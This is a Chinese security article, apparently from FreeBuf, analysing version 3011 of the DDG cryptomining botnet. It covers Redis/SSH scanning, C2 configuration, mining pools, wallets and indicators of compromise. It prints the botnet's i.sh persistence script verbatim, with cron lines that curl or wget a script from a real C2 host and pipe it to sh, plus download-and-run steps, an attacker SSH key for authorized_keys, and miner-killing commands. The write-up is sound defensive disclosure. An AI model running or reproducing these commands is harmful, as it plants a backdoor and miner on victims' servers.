官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
DDG.Mining.Botnet 近期活动分析
- 关注
DDG.Mining.Botnet 近期活动分析
今年 2 月 1 日，我们详细分析了一个瞄准数据库服务器的挖矿僵尸网络 DDG.Mining.Botnet 。
近期，我们注意到该家族发布了新的版本 3011 ，在该更新版本部署的过程中，引发了端口 7379 及相关端口上的扫描流量异常。该版本中启用了新的钱包，其在 2 个矿池里累计收益已经超过 1,419 枚 XMR。最后值得注意的是，该版本可能还处于测试阶段，或者只是一个过渡版本。
DDG 3011 版本的概要特征如下：
- 启用了新的 XMR 钱包；
- 挖矿程序变更为 2t3ik ，但命名规则没有变化，仍然是钱包地址的末尾 5 位；
- 启用多个矿池，这应该被理解成为一种失效保护机制；
- 样本的编写语言由旧的 Go1.9.2 换成了 Go1.10，并在代码结构、第三方库和自身功能方面进行较大改动；
- 启用了云端配置文件，可以由云端配置文件指定要扫描的服务端口、矿机程序下载链接、本地样本更新数据等等；
- 相同的持久驻留机制：将 i.sh 脚本写入到 Crontab 中定期更新、运行。
7379 及相关端口上的扫描流量异常
近期，我们的 ScanMon 系统显示 Redis 服务相关端口的扫描流量骤增，如下：
上图中，与该扫描相关的关联端口共计 7 个，分别是 ：
- Redis 相关的三个：6379, 6380, 7379
- SSH 相关的三个：22, 2222, 22222
- HTTP 相关的一个：8000
我们在本文后续的样本分析环节中可以发现，DDG 新版本 ddgs.3011 的扫描模式与上述 ScanMon 观察到的现象非常契合。这足以证明，DDG 最新版本的活动引起了本轮 7379 及相关端口上的扫描行为。
样本执行流程
我们捕获了这次事件相关的核心样本：
hxxp://165.225.157.157:8000/static/3011/ddgs.i686 md5=999fc24f53034b4c73866a0699be15fa
该样本的执行流程如下：
新旧样本最明显的相似之处，是通过把 i.sh 脚本植入到 Linux 系统肉鸡的 Crontab 中来实现持久驻留。新 i.sh 脚本内容如下：
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddgs.3011" ]; then
curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
ddgs.i686 通过 SSH / Redis 服务暴破、未授权访问来入侵主机，暴破词典如下：
ddgs.i686 还会在失陷主机本地的 /var/spool/cron/crontabs/root 或者 /var/spool/cron/crontabs 处写入定时任务脚本，从云端下载最新的 i.sh 脚本定时执行（ %s 处为最新的 i.sh 下载链接），实现持久驻留：
*/1 * * * * curl -L %s | sh */1 * * * * wget -q %s -O - | sh
然后，ddgs.i686 会尝试在当前肉鸡的 ~/.ssh/authorized_keys 中注入以下 SSH Pub Key：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost
ddgs.i686 样本中内置了一个 ip:port 的 List，其中 2 个主要的 165.225.157.157:8000和 165.227.149.151:8000 ，其他算是备用，全部列表见文末 IoC 部分。
样本 ddgs.i686 启动之后，会依次连接上述 ip:port 检查是否可以访问：
对每个成功握手的 ip:port ，ddgs.i686 都会尝试向 hxxp://<C2:8000>/slave 发送 HTTP POST 请求：
如果 C2 正常工作，则会返回一串用 msgPack 序列化编码后的配置文件数据：
由于这串数据自定义了复杂的数据结构，没能成功完美解码，经过 msgPack 通用反序列化再大概还原后如下：
{
'Data':
Config:
Interval:"360s";
Miner:[
{Exe: "/tmp/2t3ik.p", Md5: "b44bce2047f2254e5e7e8b0730caae2e", Url: "/static/2t3ik.p"},
{Exe: "/tmp/2t3ik.m", Md5: "54259015b8ead37ac66da056769520db", Url: "/static/2t3ik.m"}
];
Cmd:[
(AAredis:{
Id: 6016;
Version: 3011;
ShellUrl: "http://165.225.157.157:8000/i.sh";
Duration: "168h";
aIPDuration: "23h";
GenLan;
GenAAA;
Ports: (6379, 6380, 7379)
}),
(AAssh:{
Id: 2017;
Version: 3011;
ShellUrl: "http://165.225.157.157:8000/i.sh";
NThreadsd;
Duration: "168h";
aIPDuration:"26h"
GenLan;
GenAAA;Ports: (22, 2222, 22222)
}),
(Update:(
{
Id: 142;
Version: 3010;
Timeout: "26m";
Exe: "/tmp/ddgs.3011";
Md5: "999fc24f53034b4c73866a0699be15fa";
Url: "/static/3011/ddgs.i686";
Killer: 132;
},
{
Id: 197;
Version:3011;
Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com).+";
Timeout: "360s";
},
{
Id: 198;
Version: 3011;
Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg";
Timeout: "360s";
},
{
Id: 199;
Version: 3011;
Expr: "/tmp/2t3ik.+";
Timeout: "360s";
LKProc: 132;
},
{
Id: 177;
Version: 3011;
Expr: ".+";
Timeout: 360s'
}
)
],
'Signature': '\x02\x0b_v8\xe4\xa9\xe8\x0fV\xc1\x04\xbeK\x1e\x10\x1a\xc4\xb3C}\xb2\x96D\r\x97"\xc4\xffF\xd0s)\xbf\xc4H\xa4\xa5le\xd5J\x8b\x0f8?\r\xfb\x8b)\~~\x02\xfd\xf7\xa4\xe5"hp\x11\xdd\xae\xd4\r\\\xb4\xf7)\xf1\xc4\x87\x95\x8esM\xbcq\x01Y\xe8\xe5H\x93\xde\xcc\xbbq\xc3\xdebS\x03\x90K\t4\x9e=\x94\xd1w~V\xa3\xad$\x10\'\xa2y\xaa\xe6\x0ep\xd8\x00\xf2\xf7B\xc6\x18\xa4\x16_q/K\xf8\x05\n\x98:-\x9f\xf1z\xfe\xa3\xe4C\xa8\xeeg\x0f\x7f\xd7\x8d\x02\x98\\\x1aJ\xab\xcc\xf9\xbd\x94\x83\xfd\xc3q\xad\xb5\x8d\xcb\x06\xfeQ\x1d=\x05L@\xc3\xf6\n>\xb2\xedY\x16.\x14\x7fc\xf9\xafT\xa3\xfbzq/y\xba4\xd8k\x82rh\x17\xd8\xd5\'EU~\x1ag\x0f\xb2\xa0\xa3C\xff\xcbSj\xccI\xe4\x98\x99\xc3\xe8\xfe\xe7\xfd\xf5\x07\xce\x8d\x97d\x1e\xae\ta\xf3\x8e\x05\xf7\xb7\x95\xe7\x82|\x8eS\x0b\x11\xcb\xa3'
}
结合配置文件和样本分析，可以发现以下几个关键点：
配置文件中提供了 Miner 程序的 URI、MD5 和保存到当前肉鸡的文件路径。ddgs.i686 会根据 URI，通过 HTTP GET 请求从
http://<C2:8000>/Miner_URI处下载 Miner 程序并另存到指定路径；配置文件中提供了最新的 i.sh 文件下载路径，ddgs.i686 会把这个路径填充到定时任务的命令字串中；
配置文件中指定了要扫描的 dstport，可以看到针对 Redis 服务，指定 ddgs.i686 扫描 (6379, 6380, 7379) 三个端口，针对 SSH 服务，指定扫描 (22, 2222, 22222) 三个端口。（这里可以解释 ScanMon 上 7 个端口之间的伴生关系。但 Redis 服务相关的 3 个端口与 SSH 服务相关的 3 个端口之间 Shared scip 数量比较少，原因可能跟蜜罐部署以及蜜罐的网络配置有关）
配置文件中的 GenLan / GenAAA 对应生成 Scan Target IP 的生成策略。样本中的 Scan Target IP 生成策略仍然同于旧版本的 ddg.miner： 生成的内网网段 Target IP 范围如下：
- 10.Y.x.x/16 (Y 为当前内网 IP B 段的值)
- 172.16.x.x/16
- 192.168.x.x/16
当前主机的公网 IP 地址 WAN_IP ，然后在
WAN_IP/8范围内生成公网网段 Target IP 。但是样本内有个扫描控制策略，从行为上看，针对内网 Target IP ，只扫描 SSH 服务相关的 3 个端口，我的虚拟机上运行结果只会扫 SSH 服务，看起来只有获取到了网卡的外网地址，才会针对外网的 Target IP 扫描 Redis 相关的端口。
配置文件中给出了 ddgs 样本的更新配置：最新的版本号、本地另存的文件路径、C2 端下载的 URI 以及样本的 MD5，本地已有的 ddgs.i686 样本会根据这些信息对本地样本进行更新。
挖矿
样本获取配置文件后，会根据配置文件中 Miner 的信息，去下载 2t3ik.p 和 2t3ik.m到当前失陷主机的 /tmp/ 目录。这两个文件是 XMRig 2.5.2 编译的矿机程序，具体区别不明，关键信息都一致：
钱包地址（新出现）：
42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik
涉及的矿池：
- 47.90.204.154
- hk02.supportxmr.com
- pool.supportxmr.com
- xmr-asia1.nanopool.org
xmr-us-west1.nanopool.org
其中
47.90.204.154:443是首选矿池地址，但会 Reset 掉网络请求，该主机位于 阿里云 ，猜测是团伙背后的 Miner Report C&C 主机；在矿池
supportxmr.com中的 TotalPaid 为 150.5194868540 XMR ，按当前市价折合人民币 181,311.3 ￥ ；在矿池
nanopool.org中TotalPaid: 1268.5880545439 XMR ，按当前市价折合人民币 1527,519.6￥。
3011 是一个测试或过渡版本
最后值得一提的是，ddgs.i686 是 32bit ELF 文件，而它下载到的 2t3ik.p 和 2t3ik.m都是 64bit ELF 文件，这样一来，在真实环境中，矿机程序并没有办法运行。而且，版本 3011 只有hxxp://165.225.157.157:8000/static/3011/ddgs.i686 这一个核心样本，不像版本 3010 ，同时存在 ddgs.i686 和 ddgs.x86_64 两个核心样本。所以，可以认为版本 3011 目前处于测试阶段，或者只是一个过渡版本。
IoC
Sample
md5=9ebf7fc39efe7c553989d54965ebb468 uri=hxxp://165.225.157.157:8000/static/imWBR1 md5=d3b1700a413924743caab1460129396b uri=hxxp://165.225.157.157:8000/static/wnTKYg md5=8eaf1f18c006e6ecacfb1adb0ef7faee uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes md5=754487fd92e282c98acf6528604049aa uri=hxxp://165.225.157.157:8000/static/imWBR1.ig md5=52f06ca981a6e6cbc89b095ea6db1bf9 uri=hxxp://165.225.157.157:8000/static/2t3ik.s md5=b44bce2047f2254e5e7e8b0730caae2e uri=hxxp://165.225.157.157:8000/static/2t3ik.p md5=54259015b8ead37ac66da056769520db uri=hxxp://165.225.157.157:8000/static/2t3ik.m md5=76e8d7bf408b3b6ebd13d6b292519742 uri=hxxp://165.225.157.157:8000/static/2t3ik md5=999fc24f53034b4c73866a0699be15fa uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686 md5=8ab02497219bda76c959f86386a2c363 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686 md5=45774309c72839d6d4303024059e7070 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64 md5=884a57a0e4f9d222117aeca111095d7a uri=hxxp://165.225.157.157:8000/i.sh
Full IP List
Main C2 --> 165.225.157.157:8000 United States/US San Francisco "AS26464 Joyent, Inc." Main C2 --> 165.227.149.151:8000 Germany/DE Frankfurt am Main "AS14061 DigitalOcean, LLC" 47.93.8.34:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.2.72:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.3.27:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 58.57.65.8:8000 China/CN Jinan "AS4134 No.31,Jin-rong Street" 47.52.57.82:8000 Hong Kong/HK "AS45102 Alibaba (China) Technology Co., Ltd." 47.89.242.3:8000 United States/US San Mateo "AS45102 Alibaba (China) Technology Co., Ltd." 47.93.23.55:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.42.11:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.54.50:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.61.56:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.62.70:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.63.53:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.7.200:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.7.246:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.8.225:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.9.192:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.133.2:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.14.49:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.15.37:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.17.24:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.4.107:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.5.120:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.7.232:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.91.57:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.95.83:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 112.35.27.86:8000 China/CN "AS9808 Guangdong Mobile Communication Co.Ltd." 210.61.12.12:8000 Taiwan/TW "AS3462 Data Communication Business Group" 47.52.26.128:8000 Hong Kong/HK "AS45102 Alibaba (China) Technology Co., Ltd." 47.52.35.111:8000 Hong Kong/HK "AS45102 Alibaba (China) Technology Co., Ltd." 47.52.39.221:8000 Hong Kong/HK "AS45102 Alibaba (China) Technology Co., Ltd." 47.52.57.128:8000 Hong Kong/HK "AS45102 Alibaba (China) Technology Co., Ltd." 47.52.67.132:8000 Hong Kong/HK "AS45102 Alibaba (China) Technology Co., Ltd." 47.90.102.90:8000 Hong Kong/HK "AS45102 Alibaba (China) Technology Co., Ltd." 47.90.80.240:8000 Hong Kong/HK "AS45102 Alibaba (China) Technology Co., Ltd." 47.90.97.191:8000 Hong Kong/HK "AS45102 Alibaba (China) Technology Co., Ltd." 47.93.234.19:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.25.138:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.250.72:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.252.99:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.254.18:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.31.209:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.32.158:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.38.172:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.44.244:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.45.159:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.55.228:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.103.17:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.105.66:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.139.76:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.15.142:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.159.88:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.18.187:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.19.102:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.20.232:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.200.65:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.248.75:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.80.224:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.90.242:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 52.73.67.152:8000 United States/US Ashburn "AS14618 Amazon.com, Inc." 58.58.34.221:8000 China/CN Jinan "AS4134 No.31,Jin-rong Street" 61.91.81.253:8000 Thailand/TH Bangkok "AS9287 TRUEINTERNET Co.,Ltd." 110.10.189.61:8000 Republic of Korea/KR Seoul "AS9318 SK Broadband Co Ltd" 111.231.1.127:8000 China/CN Beijing "AS45090 Shenzhen Tencent Computer Systems Company Limited" 112.126.86.91:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 112.244.20.22:8000 China/CN Jinan "AS4837 CHINA UNICOM China169 Backbone" 112.74.184.31:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 114.215.24.92:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 114.215.41.12:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 115.95.135.61:8000 Republic of Korea/KR Seoul "AS3786 LG DACOM Corporation" 117.20.30.103:8000 Pakistan/PK Karachi "AS38193 Transworld Associates (Pvt.) Ltd." 121.42.10.132:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 122.115.43.72:8000 China/CN Beijing "AS4808 China Unicom Beijing Province Network" 123.31.12.137:8000 Vietnam/VN Hanoi "AS135905 VIETNAM POSTS AND TELECOMMUNICATIONS GROUP" 14.140.232.55:8000 India/IN Mumbai "AS4755 TATA Communications formerly VSNL is Leading ISP" 182.162.73.58:8000 Republic of Korea/KR "AS3786 LG DACOM Corporation" 199.233.62.78:8000 United States/US Henderson "AS54417 Stimulus Technologies" 47.88.218.199:8000 Singapore/SG "AS45102 Alibaba (China) Technology Co., Ltd." 47.88.219.207:8000 Singapore/SG "AS45102 Alibaba (China) Technology Co., Ltd." 47.89.190.198:8000 United States/US "AS45102 Alibaba (China) Technology Co., Ltd." 47.90.204.154:8000 United States/US San Mateo "AS45102 Alibaba (China) Technology Co., Ltd." 47.93.240.226:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.247.153:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.254.136:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.93.254.166:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.102.108:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.103.132:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.105.126:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.109.131:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.111.209:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.128.131:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.128.133:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.130.122:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.141.223:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.145.206:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.146.188:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.156.239:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.194.184:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.200.116:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.219.219:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.227.192:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 47.94.253.142:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 69.25.149.164:8000 United States/US Bellevue "AS6640 Qwest Communications Company, LLC" 103.27.239.132:8000 Vietnam/VN Ho Chi Minh City "AS131386 Long Van System Solution JSC" 103.27.239.135:8000 Vietnam/VN Ho Chi Minh City "AS131386 Long Van System Solution JSC" 103.56.115.153:8000 Hong Kong/HK North Point "AS55933 Cloudie Limited" 112.74.193.216:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 112.74.210.161:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 114.215.129.43:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 114.215.65.229:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 121.196.197.63:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 121.40.119.134:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 121.40.166.232:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 121.58.222.138:8000 Philippines/PH Pampanga "AS17639 Converge ICT Solutions Inc." 122.115.43.145:8000 China/CN Beijing "AS4808 China Unicom Beijing Province Network" 122.14.200.177:8000 China/CN Beijing "AS23724 IDC, China Telecommunications Corporation" 123.196.124.52:8000 China/CN Beijing "AS4847 China Networks Inter-Exchange" 123.30.240.102:8000 Vietnam/VN Hanoi "AS45899 VNPT Corp" 13.113.240.221:8000 Japan/JP Tokyo "AS16509 Amazon.com, Inc." 202.45.147.116:8000 Nepal/NP "AS45353 NITC: IT Agency of Government of Nepal" 104.197.211.117:8000 United States/US "AS15169 Google LLC" 112.125.120.193:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 114.215.104.177:8000 China/CN Hangzhou "AS37963 Hangzhou Alibaba Advertising Co.,Ltd." 118.228.152.210:8000 China/CN Beijing "AS45587 China Broadband Communications (CBCnet)"
本文为 独立观点，未经允许不得转载，授权请联系FreeBuf客服小蜜蜂，微信：freebee2022
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
- 0 文章数
- 0 关注者